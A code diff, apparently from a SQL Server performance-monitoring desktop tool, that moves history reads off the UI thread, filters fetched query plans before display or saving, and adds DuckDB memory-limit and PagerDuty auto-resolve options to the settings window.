@@ -82,7 +85,8 @@ private async System.Threading.Tasks.Task LoadHistoryAsync()
     {
         try
         {
-            _historyData = await _dataService.GetProcedureStatsHistoryAsync(_serverId, _databaseName, _schemaName, _objectName, _hoursBack);
+            /* #5457: off the UI thread: the read takes the store read lock, which an archive or compaction pass can hold. */
+            _historyData = await System.Threading.Tasks.Task.Run(() => _dataService.GetProcedureStatsHistoryAsync(_serverId, _databaseName, _schemaName, _objectName, _hoursBack));
             /* #4766: the grid words each row's times in this window's own zone, as the chart and the summary below do,
                not in whichever server's tab is selected when the row is drawn (this window stays open after another
                tab is selected). The columns that hold the server's own wall clock are converted on the opening tab's
@@ -110,17 +114,21 @@ private async System.Threading.Tasks.Task LoadHistoryAsync()
                 SummaryText.Text = "No history data found for this procedure in the selected time range.";
             }
 
+            /* #5449: the chart also plots a 0 for each collector run that stored nothing for this procedure, so a quiet
+               minute is a 0 as it is on an older store, not a gap. The grid and summary keep the stored rows. */
+            var historyForChart = _historyData;
+            _chartData = await System.Threading.Tasks.Task.Run(() => _dataService.GetProcedureStatsHistoryChartRowsAsync(_serverId, historyForChart));
             UpdateChart();
         }
         catch (Exception ex)
         {
-            SummaryText.Text = $"Error loading history: {ex.Message}";
+            SummaryText.Text = $"Error loading history: {DuckDbMemoryLimitSetting.Describe(ex)}";
         }
     }
 
     private void UpdateChart()
     {
-        if (_historyData == null || _historyData.Count == 0)
+        if (_chartData == null || _chartData.Count == 0)
         {
             HistoryChart.Plot.Clear();
             HistoryChart.Refresh();
@@ -133,8 +141,8 @@ private void UpdateChart()
         var tag = selected?.Tag?.ToString() ?? "AvgCpuMs";
         var label = selected?.Content?.ToString() ?? "Avg CPU (ms)";
 
-        var xs = _historyData.Select(r => r.CollectionTime.ToOADate()).ToArray();
-        var ys = _historyData.Select(r => GetMetricValue(r, tag)).ToArray();
+        var xs = _chartData.Select(r => r.CollectionTime.ToOADate()).ToArray();
+        var ys = _chartData.Select(r => GetMetricValue(r, tag)).ToArray();
 
         var scatter = HistoryChart.Plot.Add.TimeSeries(xs, ys);
         scatter.Color = ScottPlot.Color.FromHex(ChartPalette.SeriesColor("MetricTrend"));
@@ -240,13 +248,16 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
         btn.Content = "...";
         try
         {
-            var plan = await LocalDataService.FetchProcedurePlanOnDemandAsync(_connectionString, _databaseName, _schemaName, _objectName);
+            var plan = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchProcedurePlanOnDemandAsync(_connectionString, _databaseName, _schemaName, _objectName));
             if (string.IsNullOrEmpty(plan))
             {
                 MessageBox.Show("No plan found in the plan cache for this procedure. The plan may have been evicted.", "Plan Not Found", MessageBoxButton.OK, MessageBoxImage.Information);
                 return;
             }
 
+            /* #5320: a plan the statement filter withheld whole is the marker, not a plan: say so, save nothing. */
+            if (WithheldPlanGuard.RefuseSave(plan)) return;
+
             var dialog = new SaveFileDialog
             {
                 Filter = "SQL Plan files (*.sqlplan)|*.sqlplan|All files (*.*)|*.*",
@@ -259,7 +270,7 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
         }
         catch (Exception ex)
         {
-            MessageBox.Show($"Failed to retrieve plan: {ex.Message}", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
+            MessageBox.Show($"Failed to retrieve plan: {DuckDbMemoryLimitSetting.Describe(ex)}", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
         }
         finally
         {
@@ -278,7 +289,7 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
     private async System.Threading.Tasks.Task<string?> FetchPlanAsync()
     {
         if (string.IsNullOrEmpty(_connectionString) || string.IsNullOrEmpty(_objectName)) return null;
-        return await LocalDataService.FetchProcedurePlanOnDemandAsync(_connectionString, _databaseName, _schemaName, _objectName);
+        return await LivePlanDisplay.FilterAsync(await LocalDataService.FetchProcedurePlanOnDemandAsync(_connectionString, _databaseName, _schemaName, _objectName));
     }
 
     private async void ViewPlan_Click(object sender, RoutedEventArgs e)
diff --git a/Lite/Windows/QueryStatsHistoryWindow.xaml.cs b/Lite/Windows/QueryStatsHistoryWindow.xaml.cs
index 74f6d5ee39..04346b8096 100644
--- a/Lite/Windows/QueryStatsHistoryWindow.xaml.cs
+++ b/Lite/Windows/QueryStatsHistoryWindow.xaml.cs
@@ -61,10 +61,11 @@ public QueryStatsHistoryWindow(LocalDataService dataService, int serverId, strin
         _planActions = new PlanNavigationController(
             this,
             async (xml, label, qt) => await PlanViewerWindow.ShowPlanAsync(
-                this, xml, label, qt, await _dataService.GetServerMetadataForPlanAnalysisAsync(_serverId)),
-            (db, qt, est, iso, ct) => ActualPlanExecutor.ExecuteForActualPlanAsync(
+                this, xml, label, qt, await System.Threading.Tasks.Task.Run(() => _dataService.GetServerMetadataForPlanAnalysisAsync(_serverId))),
+            /* #4348: the re-run's plan comes from the monitored server, not the collected rows, so it is judged here. */
+            async (db, qt, est, iso, ct) => await LivePlanDisplay.FilterAsync(await ActualPlanExecutor.ExecuteForActualPlanAsync(
                 _connectionString ?? "", db, qt, est, iso, isAzureSqlDb: false, timeoutSeconds: 0, ct,
-                productName: "SQL Server Performance Monitor Lite"),
+                productName: "SQL Server Performance Monitor Lite")),
             "the monitored server");
 
         _filterManager = new DataGridFilterManager<QueryStatsHistoryRow>(HistoryDataGrid);
@@ -81,7 +82,8 @@ private async System.Threading.Tasks.Task LoadHistoryAsync()
     {
         try
         {
-            _historyData = await _dataService.GetQueryStatsHistoryAsync(_serverId, _databaseName, _queryHash, _hoursBack);
+            /* #5457: off the UI thread: the read takes the store read lock, which an archive or compaction pass can hold. */
+            _historyData = await System.Threading.Tasks.Task.Run(() => _dataService.GetQueryStatsHistoryAsync(_serverId, _databaseName, _queryHash, _hoursBack));
             /* #4766: the grid words each row's times in this window's own zone, as the chart and the summary below do,
                not in whichever server's tab is selected when the row is drawn (this window stays open after another
                tab is selected). The columns that hold the server's own wall clock are converted on the opening tab's
@@ -113,7 +115,7 @@ private async System.Threading.Tasks.Task LoadHistoryAsync()
         }
         catch (Exception ex)
         {
-            SummaryText.Text = $"Error loading history: {ex.Message}";
+            SummaryText.Text = $"Error loading history: {DuckDbMemoryLimitSetting.Describe(ex)}";
         }
     }
 
@@ -185,7 +187,7 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
             // Try DuckDB first — plan may already be cached from collection
             try
             {
-                plan = await _dataService.GetCachedQueryPlanAsync(_serverId, _queryHash);
+                plan = await System.Threading.Tasks.Task.Run(() => _dataService.GetCachedQueryPlanAsync(_serverId, _queryHash));
             }
             catch
             {
@@ -195,7 +197,7 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
             // Fall back to live server if DuckDB didn't have it
             if (string.IsNullOrEmpty(plan) && !string.IsNullOrEmpty(_connectionString))
             {
-                plan = await LocalDataService.FetchQueryPlanOnDemandAsync(_connectionString, _queryHash);
+                plan = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchQueryPlanOnDemandAsync(_connectionString, _queryHash));
                 source = "live server";
             }
 
@@ -205,6 +207,9 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
                 return;
             }
 
+            /* #5320: a plan the statement filter withheld whole is the marker, not a plan: say so, save nothing. */
+            if (WithheldPlanGuard.RefuseSave(plan)) return;
+
             var dialog = new SaveFileDialog
             {
                 Filter = "SQL Plan files (*.sqlplan)|*.sqlplan|All files (*.*)|*.*",
@@ -219,7 +224,7 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
         }
         catch (Exception ex)
         {
-            MessageBox.Show($"Failed to retrieve plan: {ex.Message}", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
+            MessageBox.Show($"Failed to retrieve plan: {DuckDbMemoryLimitSetting.Describe(ex)}", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
         }
         finally
         {
@@ -298,10 +303,10 @@ private void FilterPopup_FilterCleared(object? sender, EventArgs e)
     {
         if (string.IsNullOrEmpty(_queryHash)) return null;
         string? plan = null;
-        try { plan = await _dataService.GetCachedQueryPlanAsync(_serverId, _queryHash); }
+        try { plan = await System.Threading.Tasks.Task.Run(() => _dataService.GetCachedQueryPlanAsync(_serverId, _queryHash)); }
         catch { /* DuckDB lookup failed — fall through to the live server */ }
         if (string.IsNullOrEmpty(plan) && !string.IsNullOrEmpty(_connectionString))
-            plan = await LocalDataService.FetchQueryPlanOnDemandAsync(_connectionString, _queryHash);
+            plan = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchQueryPlanOnDemandAsync(_connectionString, _queryHash));
         return plan;
     }
 
diff --git a/Lite/Windows/QueryStoreHistoryWindow.xaml.cs b/Lite/Windows/QueryStoreHistoryWindow.xaml.cs
index 945476a2df..c78814a7ab 100644
--- a/Lite/Windows/QueryStoreHistoryWindow.xaml.cs
+++ b/Lite/Windows/QueryStoreHistoryWindow.xaml.cs
@@ -60,10 +60,11 @@ public QueryStoreHistoryWindow(LocalDataService dataService, int serverId, strin
         _planActions = new PlanNavigationController(
             this,
             async (xml, label, qt) => await PlanViewerWindow.ShowPlanAsync(
-                this, xml, label, qt, await _dataService.GetServerMetadataForPlanAnalysisAsync(_serverId)),
-            (db, qt, est, iso, ct) => ActualPlanExecutor.ExecuteForActualPlanAsync(
+                this, xml, label, qt, await System.Threading.Tasks.Task.Run(() => _dataService.GetServerMetadataForPlanAnalysisAsync(_serverId))),
+            /* #4348: the re-run's plan comes from the monitored server, not the collected rows, so it is judged here. */
+            async (db, qt, est, iso, ct) => await LivePlanDisplay.FilterAsync(await ActualPlanExecutor.ExecuteForActualPlanAsync(
                 _connectionString ?? "", db, qt, est, iso, isAzureSqlDb: false, timeoutSeconds: 0, ct,
-                productName: "SQL Server Performance Monitor Lite"),
+                productName: "SQL Server Performance Monitor Lite")),
             "the monitored server");
 
         _filterManager = new DataGridFilterManager<QueryStoreHistoryRow>(HistoryDataGrid);
@@ -82,7 +83,8 @@ private async System.Threading.Tasks.Task LoadHistoryAsync()
     {
         try
         {
-            _historyData = await _dataService.GetQueryStoreHistoryAsync(_serverId, _databaseName, _queryId, _hoursBack);
+            /* #5457: off the UI thread: the read takes the store read lock, which an archive or compaction pass can hold. */
+            _historyData = await System.Threading.Tasks.Task.Run(() => _dataService.GetQueryStoreHistoryAsync(_serverId, _databaseName, _queryId, _hoursBack));
             /* #4766: the grid words each row's times in this window's own zone, as the chart and the summary below do,
                not in whichever server's tab is selected when the row is drawn (this window stays open after another
                tab is selected). Set before the rows reach the grid. */
@@ -95,7 +97,11 @@ private async System.Threading.Tasks.Task LoadHistoryAsync()
 
             if (_historyData.Count > 0)
             {
-                var totalExec = _historyData.Sum(r => r.ExecutionCount);
+                /* #5306: each Query Store interval counts once, at its latest snapshot. The grid lists every snapshot
+                   (an interval collected N times is N rows with a growing count), so adding the column up counted it
+                   about N times. The samples count, the first and last times and the plan count below are not totals
+                   of the counts: they read the rows as they are. */
+                var totalExec = QueryStoreHistoryRow.TotalExecutions(_historyData);
                 var planCount = _historyData.Select(r => r.PlanId).Distinct().Count();
                 var zone = _displayZone();
                 var first = ServerTimeHelper.FormatInstant(_historyData.First().CollectionTime, zone, "MM/dd HH:mm");
@@ -113,7 +119,7 @@ private async System.Threading.Tasks.Task LoadHistoryAsync()
         }
         catch (Exception ex)
         {
-            SummaryText.Text = $"Error loading history: {ex.Message}";
+            SummaryText.Text = $"Error loading history: {DuckDbMemoryLimitSetting.Describe(ex)}";
         }
     }
 
@@ -202,13 +208,16 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
         btn.Content = "...";
         try
         {
-            var plan = await LocalDataService.FetchQueryStorePlanAsync(_connectionString, _databaseName, rowPlanId);
+            var plan = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchQueryStorePlanAsync(_connectionString, _databaseName, rowPlanId));
             if (string.IsNullOrEmpty(plan))
             {
                 MessageBox.Show("No query plan found in Query Store for this plan ID.", "Plan Not Found", MessageBoxButton.OK, MessageBoxImage.Information);
                 return;
             }
 
+            /* #5320: a plan the statement filter withheld whole is the marker, not a plan: say so, save nothing. */
+            if (WithheldPlanGuard.RefuseSave(plan)) return;
+
             var dialog = new SaveFileDialog
             {
                 Filter = "SQL Plan files (*.sqlplan)|*.sqlplan|All files (*.*)|*.*",
@@ -221,7 +230,7 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
         }
         catch (Exception ex)
         {
-            MessageBox.Show($"Failed to retrieve plan: {ex.Message}", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
+            MessageBox.Show($"Failed to retrieve plan: {DuckDbMemoryLimitSetting.Describe(ex)}", "Error", MessageBoxButton.OK, MessageBoxImage.Error);
         }
         finally
         {
@@ -301,7 +310,7 @@ private void FilterPopup_FilterCleared(object? sender, EventArgs e)
     private async System.Threading.Tasks.Task<string?> FetchPlanAsync(long planId)
     {
         if (string.IsNullOrEmpty(_connectionString) || planId == 0) return null;
-        return await LocalDataService.FetchQueryStorePlanAsync(_connectionString, _databaseName, planId);
+        return await LivePlanDisplay.FilterAsync(await LocalDataService.FetchQueryStorePlanAsync(_connectionString, _databaseName, planId));
     }
 
     private async void ViewPlan_Click(object sender, RoutedEventArgs e)
diff --git a/Lite/Windows/SettingsWindow.xaml b/Lite/Windows/SettingsWindow.xaml
index a2b0dfec8d..8ba8eedf86 100644
--- a/Lite/Windows/SettingsWindow.xaml
+++ b/Lite/Windows/SettingsWindow.xaml
@@ -20,8 +20,15 @@
             </ContextMenu>
         </ResourceDictionary>
     </Window.Resources>
-    <ScrollViewer VerticalScrollBarVisibility="Auto" HorizontalScrollBarVisibility="Disabled">
-    <Grid Margin="16">
+    <!-- Save and Close sit in a footer row BELOW the scroll area, so they stay visible when the work-area clamp makes the
+         window shorter than the form (Lite click-through review). -->
+    <Grid>
+    <Grid.RowDefinitions>
+        <RowDefinition Height="*"/>
+        <RowDefinition Height="Auto"/>
+    </Grid.RowDefinitions>
+    <ScrollViewer Grid.Row="0" VerticalScrollBarVisibility="Auto" HorizontalScrollBarVisibility="Disabled">
+    <Grid Margin="16,16,16,0">
         <Grid.RowDefinitions>
             <RowDefinition Height="Auto"/>
             <RowDefinition Height="Auto"/>
@@ -106,13 +113,8 @@
                 <StackPanel Orientation="Horizontal" Margin="0,8,0,0">
                     <TextBlock Text="Default time range:" VerticalAlignment="Center"
                                Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,8,0"/>
-                    <ComboBox x:Name="DefaultTimeRangeCombo" Width="140" VerticalAlignment="Center">
-                        <ComboBoxItem Content="Last 1 hour"/>
-                        <ComboBoxItem Content="Last 4 hours"/>
-                        <ComboBoxItem Content="Last 12 hours"/>
-                        <ComboBoxItem Content="Last 24 hours"/>
-                        <ComboBoxItem Content="Last 7 days"/>
-                    </ComboBox>
+                    <!-- #5562: the shared picker. A typed or picked fixed range is not a default; it is not saved. -->
+                    <ui:TimeRangePicker x:Name="DefaultTimeRangePicker" VerticalAlignment="Center"/>
                 </StackPanel>
                 <StackPanel Orientation="Horizontal" Margin="0,8,0,0">
                     <TextBlock Text="Connection timeout:" VerticalAlignment="Center"
@@ -122,6 +124,14 @@
                                FontSize="11" FontStyle="Italic" Foreground="{DynamicResource ForegroundMutedBrush}"
                                VerticalAlignment="Center" Margin="6,0,0,0"/>
                 </StackPanel>
+                <StackPanel Orientation="Horizontal" Margin="0,8,0,0">
+                    <TextBlock Text="DuckDB memory limit:" VerticalAlignment="Center"
+                               Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,8,0"/>
+                    <TextBox x:Name="DuckDbMemoryLimitBox" Width="50" Text="2" VerticalAlignment="Center"/>
+                    <TextBlock x:Name="DuckDbMemoryLimitHint" Text="GB (default 2). Raise it if a tab reports DuckDB out of memory. Takes effect after Lite restarts."
+                               FontSize="11" FontStyle="Italic" Foreground="{DynamicResource ForegroundMutedBrush}"
+                               VerticalAlignment="Center" Margin="6,0,0,0"/>
+                </StackPanel>
                 <StackPanel Orientation="Horizontal" Margin="0,8,0,0">
                     <TextBlock Text="CSV separator:" VerticalAlignment="Center"
                                Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,8,0"/>
@@ -192,8 +202,8 @@
                           Foreground="{DynamicResource ForegroundBrush}"
                           ToolTip="Off = the classic behavior: the first sighting of a server is a silent baseline, even when it is down."/>
                 <StackPanel Orientation="Horizontal" Margin="36,4,0,0"
-                            ToolTip="0 = off (one alert per outage). Re-alerts use the same 'Server Unreachable' metric name, so webhook automation keyed on it re-triggers.">
-                    <TextBlock Text="Re-alert while still down every" VerticalAlignment="Center"
+                            ToolTip="0 = off (one alert per occurrence). Covers a server that is unreachable, AG Sync Fell Behind, and the other alerts for a lasting problem. Each repeat uses that alert's own metric name, so webhook automation keyed on it re-triggers.">
+                    <TextBlock Text="Re-alert while a problem lasts every" VerticalAlignment="Center"
                                Foreground="{DynamicResource ForegroundBrush}"/>
                     <TextBox x:Name="ConnectionRefireMinutesBox" Width="45" Text="0" Margin="6,0,0,0" VerticalAlignment="Center"/>
                     <TextBlock Text="min (0 = off)" VerticalAlignment="Center" Margin="4,0,0,0"
@@ -234,7 +244,7 @@
                                Foreground="{DynamicResource ForegroundBrush}"/>
                     <TextBlock Text="measured as" VerticalAlignment="Center" Margin="8,0,4,0"
                                Foreground="{DynamicResource ForegroundBrush}"/>
-                    <ComboBox x:Name="AlertCpuModeBox" Width="220" VerticalAlignment="Center">
+                    <ComboBox x:Name="AlertCpuModeBox" MinWidth="220" VerticalAlignment="Center">
                         <ComboBoxItem Content="Total non-idle CPU (SQL + other processes)" Tag="Total"/>
                         <ComboBoxItem Content="SQL Server only (scheduler %)" Tag="SqlOnly"/>
                     </ComboBox>
@@ -259,14 +269,11 @@
                 <StackPanel Orientation="Horizontal" Margin="20,6,0,0">
                     <!-- #3539 A4: the alert grades wait ACCUMULATED over a rolling ten-minute window against fixed,
                          fleet-calibrated bars shared with the PostgreSQL edition (PoisonWaitEvaluator). The ms box was the
-                         retired per-wait-average bar; it stays so saved settings round-trip, disabled and labelled so nobody
-                         tunes a number nothing reads. The preview line below the section states the live bars. -->
-                    <CheckBox x:Name="AlertPoisonWaitCheckBox" Content="Poison waits (THREADPOOL, etc.) — accumulated wait over a 10-minute window; legacy avg-ms bar (no longer used):" VerticalAlignment="Center"
-                              Foreground="{DynamicResource ForegroundBrush}"/>
-                    <TextBox x:Name="AlertPoisonWaitThresholdBox" Width="45" Text="500" Margin="6,0,0,0" VerticalAlignment="Center" IsEnabled="False"
-                             ToolTip="Retired. The Poison Wait alert no longer judges an average ms per wait; it fires when a poison wait type accumulates 600 s of wait inside 10 minutes (WARNING) or 6,000 s (CRITICAL). Kept so existing settings round-trip."/>
-                    <TextBlock Text="ms" VerticalAlignment="Center" Margin="2,0,0,0"
-                               Foreground="{DynamicResource ForegroundMutedBrush}"/>
+                         retired per-wait-average bar; its box is gone from the window (nothing reads it), and the saved
+                         value is left as it is on save. The preview line below the section states the live bars. -->
+                    <CheckBox x:Name="AlertPoisonWaitCheckBox" Content="Poison waits (THREADPOOL, etc.) — accumulated wait over a 10-minute window" VerticalAlignment="Center"
+                              Foreground="{DynamicResource ForegroundBrush}"
+                              ToolTip="The Poison Wait alert fires when a poison wait type accumulates 600 s of wait inside 10 minutes (WARNING) or 6,000 s (CRITICAL)."/>
                 </StackPanel>
                 <StackPanel Orientation="Horizontal" Margin="20,6,0,0">
                     <CheckBox x:Name="AlertLongRunningQueryCheckBox" Content="Long-running queries over" VerticalAlignment="Center"
@@ -341,7 +348,8 @@
                     <TextBlock Text="GB (ADR databases only)" VerticalAlignment="Center" Margin="2,0,0,0"
                                Foreground="{DynamicResource ForegroundBrush}"/>
                 </StackPanel>
-                <StackPanel Orientation="Horizontal" Margin="20,6,0,0">
+                <!-- A WrapPanel, not a StackPanel: this row is wider than the window, so its tail wrapped off the right edge. -->
+                <WrapPanel Orientation="Horizontal" Margin="20,6,0,0">
                     <CheckBox x:Name="AlertFileGrowthCheckBox" Content="Database file growing over" VerticalAlignment="Center"
                               Foreground="{DynamicResource ForegroundBrush}"/>
                     <TextBox x:Name="AlertFileGrowthRiseMbBox" Width="60" Text="10240" Margin="6,0,0,0" VerticalAlignment="Center"/>
@@ -353,7 +361,7 @@
                     <TextBox x:Name="AlertFileGrowthVolumePercentBox" Width="45" Text="60" Margin="6,0,0,0" VerticalAlignment="Center"/>
                     <TextBlock Text="% of its volume (0 disables either gate)" VerticalAlignment="Center" Margin="2,0,0,0"
                                Foreground="{DynamicResource ForegroundBrush}"/>
-                </StackPanel>
+                </WrapPanel>
                 <StackPanel Orientation="Horizontal" Margin="20,6,0,0">
                     <CheckBox x:Name="AlertLongRunningJobCheckBox" Content="Agent jobs running over" VerticalAlignment="Center"
                               Foreground="{DynamicResource ForegroundBrush}"/>
@@ -720,6 +728,7 @@
                         <RowDefinition Height="Auto"/>
                         <RowDefinition Height="Auto"/>
                         <RowDefinition Height="Auto"/>
+                        <RowDefinition Height="Auto"/>
                     </Grid.RowDefinitions>
                     <TextBlock Grid.Row="0" Grid.Column="0" Text="Routing Key:" VerticalAlignment="Center"
                                Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,8,4"/>
@@ -730,12 +739,17 @@
                     <CheckBox Grid.Row="1" Grid.Column="1" x:Name="PagerDutyEuRegionCheckBox" Content="Use EU data center (events.eu.pagerduty.com)"
                               Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,0,4"/>
 
-                    <TextBlock Grid.Row="2" Grid.Column="0" Text="Proxy Address:" VerticalAlignment="Center"
+                    <TextBlock Grid.Row="2" Grid.Column="0" Text="" VerticalAlignment="Center" Margin="0,0,8,4"/>
+                    <CheckBox Grid.Row="2" Grid.Column="1" x:Name="PagerDutyAutoResolveCheckBox" Content="Auto-resolve the incident when the alert's condition clears"
+                              Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,0,4"
+                              ToolTip="Sends a PagerDuty 'resolve' event when an edge-type alert's condition clears (a server comes back, a replica reconnects), closing the incident the firing edge's trigger opened. Off by default: the closing edge is sent as an info-level alert and the incident stays open. Replica cooldowns: when PagerDuty is set up for the alert, Teams, Slack and the generic webhook keep one cooldown per replica, so each replica gets its own outage and recovery notices. Email stays per server."/>
+
+                    <TextBlock Grid.Row="3" Grid.Column="0" Text="Proxy Address:" VerticalAlignment="Center"
                                Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,8,4"/>
-                    <TextBox Grid.Row="2" Grid.Column="1" x:Name="PagerDutyProxyAddressBox" Margin="0,0,0,4"
+                    <TextBox Grid.Row="3" Grid.Column="1" x:Name="PagerDutyProxyAddressBox" Margin="0,0,0,4"
                              ToolTip="Optional. HTTP proxy for reaching PagerDuty (e.g. http://proxy.corp.local:8080). Leave blank to connect directly."/>
 
-                    <StackPanel Grid.Row="3" Grid.Column="1" Orientation="Horizontal" Margin="0,4,0,0">
+                    <StackPanel Grid.Row="4" Grid.Column="1" Orientation="Horizontal" Margin="0,4,0,0">
                         <Button x:Name="TestPagerDutyButton" Content="Send Test Notification" Click="TestPagerDutyButton_Click"/>
                         <TextBlock x:Name="PagerDutyStatusText" FontSize="11" FontStyle="Italic"
                                    Foreground="{DynamicResource ForegroundMutedBrush}" VerticalAlignment="Center" Margin="8,0,0,0"/>
@@ -796,8 +810,23 @@
                           MouseDoubleClick="ServerScheduleGrid_DoubleClick">
                     <DataGrid.Columns>
                         <DataGridTextColumn Header="Server" Binding="{Binding ServerName}" Width="*"/>
-                        <DataGridTextColumn Header="Preset" Binding="{Binding Preset}" Width="110"/>
-                        <DataGridTextColumn Header="Status" Binding="{Binding Status}" Width="100"/>
+                        <DataGridTextColumn Binding="{Binding Preset}" Width="110">
+                            <DataGridTextColumn.Header>
+                                <TextBlock Text="Preset"
+                                           ToolTip="Which preset (Aggressive, Balanced, Low-Impact) the schedule this server runs on matches. Custom means at least one collector interval differs from every preset."/>
+                            </DataGridTextColumn.Header>
+                            <DataGridTextColumn.ElementStyle>
+                                <Style TargetType="TextBlock">
+                                    <Setter Property="ToolTip" Value="{Binding PresetDetail}"/>
+                                </Style>
+                            </DataGridTextColumn.ElementStyle>
+                        </DataGridTextColumn>
+                        <DataGridTextColumn Binding="{Binding Status}" Width="110">
+                            <DataGridTextColumn.Header>
+                                <TextBlock Text="Status"
+                                           ToolTip="Uses default: the server follows the default schedule (Edit Default). Own schedule: the server has its own collector schedule. The Preset column describes whichever schedule applies."/>
+                            </DataGridTextColumn.Header>
+                        </DataGridTextColumn>
                     </DataGrid.Columns>
                 </DataGrid>
 
@@ -813,11 +842,13 @@
             </Grid>
         </Border>
 
-        <!-- Buttons -->
-        <StackPanel Grid.Row="8" Orientation="Horizontal" HorizontalAlignment="Right" Margin="0,12,0,0">
-            <Button Content="_Save" Click="SaveButton_Click" Style="{StaticResource AccentButton}" Margin="0,0,8,0"/>
-            <Button Content="_Close" Click="CloseButton_Click" IsCancel="True"/>
-        </StackPanel>
     </Grid>
     </ScrollViewer>
+
+    <!-- Buttons -->
+    <StackPanel x:Name="FooterButtons" Grid.Row="1" Orientation="Horizontal" HorizontalAlignment="Right" Margin="16,12,16,16">
+        <Button Content="_Save" Click="SaveButton_Click" Style="{StaticResource AccentButton}" Margin="0,0,8,0"/>
+        <Button Content="_Close" Click="CloseButton_Click" IsCancel="True"/>
+    </StackPanel>
+    </Grid>
 </Window>
diff --git a/Lite/Windows/SettingsWindow.xaml.cs b/Lite/Windows/SettingsWindow.xaml.cs
index 4b8e108faa..d85cd11efd 100644
--- a/Lite/Windows/SettingsWindow.xaml.cs
+++ b/Lite/Windows/SettingsWindow.xaml.cs
@@ -21,6 +21,7 @@
 using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Notifications;
 using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Helpers;
 using PerformanceMonitorLite.Services;
 using PerformanceMonitor.Ui;
 using PerformanceMonitor.Common;
@@ -43,6 +44,11 @@ public SettingsWindow(
         MuteRuleService? muteRuleService = null)
     {
         InitializeComponent();
+        /* The window asks for 750 DIPs of height; on a work area shorter than that (a small laptop screen with the taskbar up)
+           the bottom of the form, and the Save button under it, sat off-screen. Cap it to the monitor's work area the way the
+           Add Server dialog does, once there is an HWND to ask which monitor, and again when the window is dragged to another. */
+        SourceInitialized += (_, _) => WindowWorkArea.Clamp(this);
+        LocationChanged += (_, _) => WindowWorkArea.Clamp(this);
         _scheduleManager = scheduleManager;
         _serverManager = serverManager;
         _backgroundService = backgroundService;
@@ -55,6 +61,7 @@ public SettingsWindow(
         UpdateMcpStatus();
         LoadDefaultTimeRange();
         LoadConnectionTimeout();
+        LoadDuckDbMemoryLimit();
         LoadCsvSeparator();
         LoadColorTheme();
         LoadTimeDisplayMode();
@@ -67,12 +74,18 @@ public SettingsWindow(
     private void LoadServerScheduleSummary()
     {
         var servers = _serverManager.GetAllServers();
-        var rows = servers.Select(s => new ServerScheduleRow
+        var rows = servers.Select(s =>
         {
-            ServerId = s.Id,
-            ServerName = s.DisplayName,
-            Preset = _scheduleManager.GetActivePresetForServer(s.Id),
-            Status = _scheduleManager.HasServerOverride(s.Id) ? "Customized" : "Default"
+            /* One read per row, so Preset, Status and the tooltip all describe the same schedule list. */
+            var summary = _scheduleManager.GetServerScheduleSummary(s.Id);
+            return new ServerScheduleRow
+            {
+                ServerId = s.Id,
+                ServerName = s.DisplayName,
+                Preset = summary.Preset,
+                Status = summary.Status,
+                PresetDetail = summary.PresetDetail
+            };
         }).ToList();
 
         ServerScheduleGrid.ItemsSource = rows;
@@ -149,6 +162,7 @@ private class ServerScheduleRow
         public string ServerName { get; set; } = "";
         public string Preset { get; set; } = "";
         public string Status { get; set; } = "";
+        public string PresetDetail { get; set; } = "";
     }
 
     private void UpdateCollectionStatus()
@@ -258,7 +272,7 @@ private void PauseResumeButton_Click(object sender, RoutedEventArgs e)
     private async void SaveButton_Click(object sender, RoutedEventArgs e)
     {
         JsonNode root;
-        bool mcpChanged, mcpValid, alertsValid, webhooksValid;
+        bool mcpChanged, mcpValid, alertsValid, webhooksValid, memoryLimitValid;
 
         /* The read AND every mutator, under one catch. Before the consolidation each writer carried its
            own try, so an exception thrown while BUILDING a value -- not just on the disk I/O -- was caught,
@@ -273,6 +287,7 @@ escape into App's generic "An error occurred" dispatcher dialog instead of the h
             (mcpChanged, mcpValid) = await SaveMcpSettingsAsync(root);
             SaveDefaultTimeRange(root);
             SaveConnectionTimeout(root);
+            memoryLimitValid = SaveDuckDbMemoryLimit(root);
             SaveCsvSeparator(root);
             SaveColorTheme(root);
             SaveTimeDisplayMode(root);
@@ -319,7 +334,7 @@ warning raised when this window opened may simply not be true any more — and t
             UpdateMcpStatus();
         }
 
-        switch (SettingsSaveReport.Classify(written, mcpChanged, alertsValid, mcpValid, webhooksValid))
+        switch (SettingsSaveReport.Classify(written, mcpChanged, alertsValid, mcpValid, webhooksValid, memoryLimitValid))
         {
             case SettingsSaveOutcome.NothingWritten:
                 MessageBox.Show(
@@ -337,16 +352,70 @@ or contradict it. */
 
             case SettingsSaveOutcome.SavedAndMcpNeedsRestart:
                 MessageBox.Show(
-                    "Settings saved. MCP changes take effect after restarting the application.",
+                    "Settings saved. MCP changes take effect after restarting the application."
+                    + MemoryLimitRestartNote(),
                     "Settings", MessageBoxButton.OK, MessageBoxImage.Information);
                 return;
 
             default:
-                MessageBox.Show("Settings saved.", "Settings", MessageBoxButton.OK, MessageBoxImage.Information);
+                MessageBox.Show("Settings saved." + MemoryLimitRestartNote(), "Settings", MessageBoxButton.OK, MessageBoxImage.Information);
                 return;
         }
     }
 
+    /* #5457: the DuckDB memory limit last saved on this page when it differs from the value the running
+       process started with. memory_limit belongs to a DuckDB instance, so a change takes effect at the next
